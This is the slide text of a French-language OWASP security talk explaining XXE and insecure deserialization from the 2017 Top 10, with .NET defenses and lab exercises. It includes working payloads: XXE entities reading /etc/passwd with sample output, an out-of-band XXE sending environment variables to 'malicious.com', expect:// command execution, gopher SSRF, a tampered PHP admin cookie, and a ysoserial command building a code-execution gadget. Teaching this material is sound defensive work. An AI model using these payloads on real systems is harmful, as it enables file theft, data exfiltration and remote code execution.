Présentation de Louis Nadeau à OWASP Ville de Québec
20 mars 2018
Analyse du nouveau Top 10 OWASP et les différences avec les versions précédentes. Exemples de A4 XML External Entity (XXE) et de A8 Insecure Deserialization
A4 XML ExternalEntity (XXE)
• Attaque contre les parseurs XML
• Prérequis:
– Consommation de XML non fiable
• Upload de fichier XML, fichier de configuration, etc.
• SAML Token pour authentification SSO
– Document Type Definition (DTD)
– SOAP implémentions <1.2
• Conséquences
– Dénie de service
– Fuite de données
– SSRF
– Tunnel/Port scan
– Contrôle de l’exécution
6.
Qu’est-ce que leDTD?
• «Une DTD décrit la grammaire du document — liste des
éléments (ou balises), des attributs, leur contenu et leur
agencement — ainsi que le vocabulaire supplémentaire sous
la forme d'une liste d'Entité de caractère. »
• Les DTD ont deux sortes de déclaration:
– Externe
• Public
• System
– Interne
https://en.wikipedia.org/wiki/Document_type_definition
7.
Qu’est-ce que leDTD?
<!DOCTYPE sgml [
<!ELEMENT sgml ANY>
<!ENTITY % std "standard SGML">
<!ENTITY % signature " — &author;.">
<!ENTITY % question "Why couldn’t I publish my books directly in %std;?">
<!ENTITY % author "William Shakespeare">
]>
<sgml>&question;&signature;</sgml>
------------------------------------------------------------------------
<sgml>Why couldn’t I publish my books directly in standard SGML? — William
Shakespeare.</sgml>
https://en.wikipedia.org/wiki/Document_type_definition
A4 XML ExternalEntity (XXE)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
**Fonctionne seulement si on a une réflexion
10.
A4 XML ExternalEntity (XXE)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
root:x:0:0:root:/root:/bin/bash
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
A4 XML ExternalEntity (XXE)
Reconnaissance quand on n’a pas de réflexion
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
13.
A4 XML ExternalEntity (XXE)
Autre exemple de dénie de service:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
14.
A4 XML ExternalEntity (XXE)
gopher://{host}:{port}/{type}{request}
<?xml version="1.0 encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY date SYSTEM
“gopher://172.16.0.1:3300/AAAAAAAAA" >]>
<foo>&date;</foo>
15.
A4 XML ExternalEntity (XXE)
https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
16.
A4 XML ExternalEntity (XXE)
https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf
17.
A4 XML ExternalEntity (XXE)
• Attaque avec exfiltration: Out of Band (OOB) XXE
Requête:
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://malicious.com:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
Serveur externe:
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://malicious.com:2121/%d;'>">
18.
A4 XML ExternalEntity (XXE)
• Remote Control Execution (RCE)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
“This extension allows to interact with processes through PTY”
http://de2.php.net/manual/en/intro.expect.php
19.
A4 Exemple intéressant
•Exemple d’un cas réel:
https://securityboulevard.com/2017/12/flaws
-development-tools-expose-android-app-
makers-attacks/
– Malformed manifest
XML Parser Safeby Default?
LINQ to XML Yes
XmlDictionaryReader Yes
XmlDocument
...prior to 4.5.2 No
...in versions 4.5.2 + Yes
XmlNodeReader Yes
XmlReader Yes
XmlTextReader
...prior to 4.5.2 No
...in versions 4.5.2 + Yes
XPathNavigator
...prior to 4.5.2 No
...in versions 4.5.2 + Yes
XslCompiledTransform Yes
A4 Défense .Net
22.
A4.1 Exercices
• Objectifs:
1.Déni de service en consommant toute la mémoire serveur
2. Voir des informations sensibles sur le serveur
3. Server Side Request Forgery (SSRF)
• E.g. Forcer le serveur web à appeler un server NetCat
– Consommer des données venant d’un autre serveur
23.
Problème DUO SAML
•Pas un XXE mais intéressant
• https://duo.com/blog/duo-finds-saml-
vulnerabilities-affecting-multiple-
implementations
<Subject>
<NameID>user@user.com<!---->.evil.com</NameID>
</Subject>
A8 Insecure Deserialization
•Vulnérabilité du Top10 qui est la plus excitante
• Plusieurs types de problèmes
• Java-pocalypse en 2015-2017
– 70 librairies importantes affectées: https://www.sourceclear.com/blog/Commons-
Collections-Deserialization-Vulnerability-Research-Findings/
– Exemple: Equifax
– Oracle WebSphere, Java Struts, Cisco, Jenkins, Adobe,
Android, PayPal
• 2018 va être la même chose mais pour .Net
– Pas juste pour XML, mais pour JSON aussi
– https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-
wp.pdf#page=5
26.
A8 Insecure Deserialization
•Note du Top10: ”off the shelf exploits rarely work
without changes or tweaks to the underlying
exploit code”
• Exploitable si l’application désérialise des objets
venant d’une source non fiable.
• Deux types définis dans le Top10:
1. Object and data structure related attacks where the attacker modifies
application logic or achieves arbitrary remote code execution if there are
classes available to the application that can change behavior during or after
deserialization.
2. Typical data tampering attacks, such as access-control-related attacks, where
existing data structures are used but the content is changed.
27.
A8 Insecure Deserialization
•Example du Top10 (Type 2):
– Scenario #2: A PHP forum uses PHP object serialization to save a
"super" cookie, containing the user's user ID, role, password hash, and
other state:
• a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e050
22f8f3c88bc960";}
– An attacker changes the serialized object to give themselves admin
privileges:
• a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e050
22f8f3c88bc960";}
28.
A8 Insecure Deserialization
•On va parler de Type #1 pour .Net.
– Même concept que le type #1 pour Java mais avec
des gadgets un peu différent
– L’outil privilégié est le même: Ysoserial
• Connue depuis 2012 mais aucun Gadget avec RCE
– Voir BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
• Depuis 2017, plusieurs RCE gadgets trouvé
29.
A8 Insecure Deserialization
•Qu’est-ce qui est affecté en .Net ?
https://speakerdeck.com/pwntester/attacking-net-serialization
A8 Insecure Deserialization
•Comment ça marche?
– Le désérialiseur appel, durant le processus de
reconstruction d’un objet, un callback, un setter, un
constructeur(qui n’est pas par défaut), un « toString »
ou autres fonctions qui peuvent être définies dans
l’objet désérialisé ou contrôlées par l’attaqueur.
– L’attaqueur doit trouver une chaine de « gadgets »
entre cet appel initial et une fonction qui donne le
plein contrôle sur l’exécution du programme
32.
A8 Insecure Deserialization
•Prérequis:
– Un objet venant d’une source malicieuse est désérialisé
– Il y a une validation insuffisante du type de l’objet
OU
– Le type de l’objet n’est pas sécuritaire
OU
– La validation du type est faite après la construction de
l'objet
• Souvent un cast est fait après que l’objet est construit
– Il y a une chaine de gadgets disponible
33.
A8 Insecure Deserialization
•Qu’est-ce qu’un « gadget »
– Fonction accessible (framework) qui permet de capturer
l’exécution
– Exemples .Net:
• System.Configuration.Install.AssemblyInstaller -> set_Path
– • Execute payload on local assembly load
• • System.Activities.Presentation.WorkflowDesigner -> set_PropertyInspectorFontAndColorData
– • Arbitrary XAML load
– • Requires Single Threaded Apartment (STA) thread
• • System.Windows.ResourceDictionary -> set_Source
– • Arbitrary XAML load
– • Required to be able to work with setters of types derived from IDictionary
• • System.Windows.Data.ObjectDataProvider -> set_(MethodName| ObjectInstance| ObjectType)
– • Arbitrary Method Invocation
34.
A8.1 Demo Ysoserial(.Net)
• Jeu de mot avec la citation du Joker dans Batman
• Objectifs:
1. Comprendre le code de sérialisation et désérialisation
reçu pour le BinaryFormatter
2. Utiliser Ysoserial pour créer un fichier serialized.dat
qui va prendre le contrôle de l’exécution et lancer
« calc »
35.
A8.1 Ysoserial (.Net)
•Solution:
– Ysoserial
– SortedSet + Type confused delegate
ysoserial.exe -o=raw -g=TypeConfuseDelegate -f=BinaryFormatter -c=calc
• Noter que l’exception arrive après calc
A8 Défense
• Nepas désérialiser des objets non fiable
• Quand vous devez désérialiser des objets non
fiable utilisez une librairie sécuritaire
– Assurez vous de bien connaitre votre librairie et ses
options
• Utilisez un “whitelist” d’objets que vous vous
attendez à recevoir
– Assurez-vous de faire la validation AVANT de créer
l’objet (exemple SAML token)
38.
Conclusions
• Nouveau Top10 2017 est très bien bâti
• Tous les développeurs devraient connaitre ces
10 éléments par cœur
• On va surement revenir plus tard cette année
pour A10